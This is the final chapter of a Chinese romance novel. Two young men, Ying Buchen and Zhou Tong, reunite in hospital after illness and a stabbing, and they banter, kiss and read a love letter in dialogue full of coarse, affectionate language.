应不尘红着眼睛笑了一下,说,“要么,你看住给他一个死人,要么,你就让我走。”
“你...你是个什么东西。”应不尘拄着拐往外走,自言自语道,“你做我的主,你疯了。”
“我..我他妈说了才算,”应不尘靠着墙壁往外挪,“老子...要你管呢...”
他站不稳,一下子就从台阶上滚落下去。
*
第五天的时候,二人都陷入了亢长的昏睡。
第六天依然如此,醒来的时间少之又少。
第七天。
周瞳被剧烈的咳嗽震醒,摸着跳动的心脏觉得做了一场噩梦,体温下降,他睁着红痛的眼睛,趴床头去拿手机。
他喝了口水,清了清嗓子,却发现手机上没有应不尘的消息。
奇怪。
周瞳打了过去。
娘娘腔一看就惊声的叫,“尘儿,尘儿,能醒吗?瞳,瞳子,你哥的电话!”
应不尘條地睁眼,抖着手拿过手机,他挣扎着起来,喘了一会儿气,接起来。
“喂?”那边是周瞳听起来饶有活力的声音,“干啥呢狗崽子,我说我手机坏了你他妈是真不打电话,玩疯了啊?”
应不尘的嘴角扯了扯,说,“啊,咋了,你,你不是也没给我打吗?”
“行,你等我这边弄完了回来收拾你。”周瞳躺在床上,天花板上的灯开始恢复颜色。
“来呗。”应不尘咽了咽口水,说,“你还知道要回来,我还以为你跟哪个姐姐跑了呢。”
“刚从人家床上下来,有事儿?”周瞳问,“裤子都还没穿呢。”
“那就行,”应不尘惨白着脸笑了一声,“刚完事儿就想着我了,很感动。”
“皮是吧。”周瞳去摸自己的戒指,给自己套上了,说,
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“小嘉的短信说晚点过来,我就回来了。”
“谁也没等你呢,怪自作多情的你。”应不尘说。
“行,”周瞳去卫生间漱口,看着自己胡子拉碴的,说,“你等我回来,别给你弄死。”
周瞳刚挂了电话,佟老师那头就响了,李泥鳅被抓了。
“我要去看他。”应不尘瘫在床上。
“可是...”娘娘腔觉得他的身体现在还是不合适出远门。
“他过两天,就,就自己回来了。”小眼镜劝道。
“我要去看他。”应不尘重复了一遍,“你们不让去我就自己想办法去,结果都一样,为什么不送我去?”
最终拗不过,小眼镜载着应不尘来了省城。
医院门口的警械线正在撤去,红蓝相间急促的警笛声中周瞳正站在门口抽烟。
一瘸一拐的应不尘不要小眼镜的搀扶,一步步走到周瞳面前。
“来,弄死我。” 应不尘歪着头看他。
周瞳的手停留在空中,骂了一声,“我他妈现在咋抱你你先跟我说。”
“腰还成,抱吧。”应不尘说。
“你脖子咋了?”
“自己摔的。”
“这儿呢。”
“叫人捅的。”
“人呢。”
“抓了。”
“那你...你疼不疼啊?”
“还成,我接你回家。”
*
周瞳坐在病床前削苹果,他还得背着应不尘打针吃药。
“扎你针的小姑娘打听你呢。”应不尘躺在病床上说。
“好看不?”周瞳问。
这漏勺。
“你咋知道我扎针呢?”周瞳问。
“你当我不会看新闻呗。”应不尘吃着削剩下啥都没了苹果吃。
“不过我来不了,那会儿差么点人没了,不过有点儿遗憾,”应不尘叼着苹果说,“要死了都没听见你一句我爱你。”
“真能扯,”周瞳也不装了,隔壁的病床就是他的,老拉着帘子,“老子那会儿刚要说,你打岔,有什么办法?”
“情书没看到,放包里,让血污了。”应不尘说,“一个字儿都没看到。”
“放你妈的屁吧应不尘,”周瞳呼着氧气,鼻子还是有点儿塞,“你这个人,肯定早他妈看了。”
“看人真准。”应不尘晃着手指上的戒指,说,“咋跟你店里的差不多,你可别是忽悠我。”
“老子好不容易攒点儿,全造这儿了,”周瞳说,“你识货不识货。”
“半死不活的时候,你想啥啦?”应不尘问。
病房里只有他们俩人,浅绿色的窗帘在晚间摇晃。
一个胸闷一个气短,说句话都分成八节。
“我想,啥钱都不挣了,累死了,你也别去上学了,上个毛啊,就跟我一块儿天天搂在一起算了,费劲死了的。”
“不太成,咱两这些事儿,都他妈得自己花钱,瞳哥,你晓得你账上还有几个钱啊?”
“听这消息感觉不如没了算了。”周瞳捂着眼睛说。
“过来。”应不尘挪到边上去,“你睡我边上,我这也有氧气。”
“你别跟我动手动脚先说好,我喘不上来气儿,办不得一点。”
“你疯了我疯了,我现在你睁开你的狗眼看看我能喘上来气是怎么着的?”
“有道理。”周瞳挪到应不尘的边上去。
就这一点儿小动作俩人呼哧带喘。
“瞳哥,”应不尘说,“我从前一直想,你要是真死了,我能不能跟你一起去。”
“嗯?我可没死呢,你可别咒我了。”
“你咋不问问我考的咋样啊。”
“破玩意儿,爱咋咋的吧。”
“你送我的店子,我还没去呢。”
“也是个破玩意儿,爱咋咋的吧。”
“娘娘腔他们都急坏了。”
“都破玩意儿。”
“啥不是破玩意儿呢?”
“你。”
二人轻轻点着额头,接了个有药味的吻。
“你嘴真苦,你喝尿啦。”
“你嘴也甜不到哪里去成吧?”
“那再试试?”
“疼。”
“喘不上气。”
“那回头的吧。”
“我回完了。”
“你脖子上这啥破玩意儿,我跟你亲个嘴还要跟狗似的舔。”
“你那鼻涕都快流我脸上了,你还好意思说?”
“闭嘴吧你。”
“擦擦吧你。”
“不亲了。”
“那不成。”
应不尘看见了他写的情书。
他说:
应不尘,别再哭了,别总觉着对我有愧,金钱地位都比不上你送的玫瑰。
应不尘,别长大了,别总想着年少有为,没有什么东西比你本身更珍贵。
——全文完——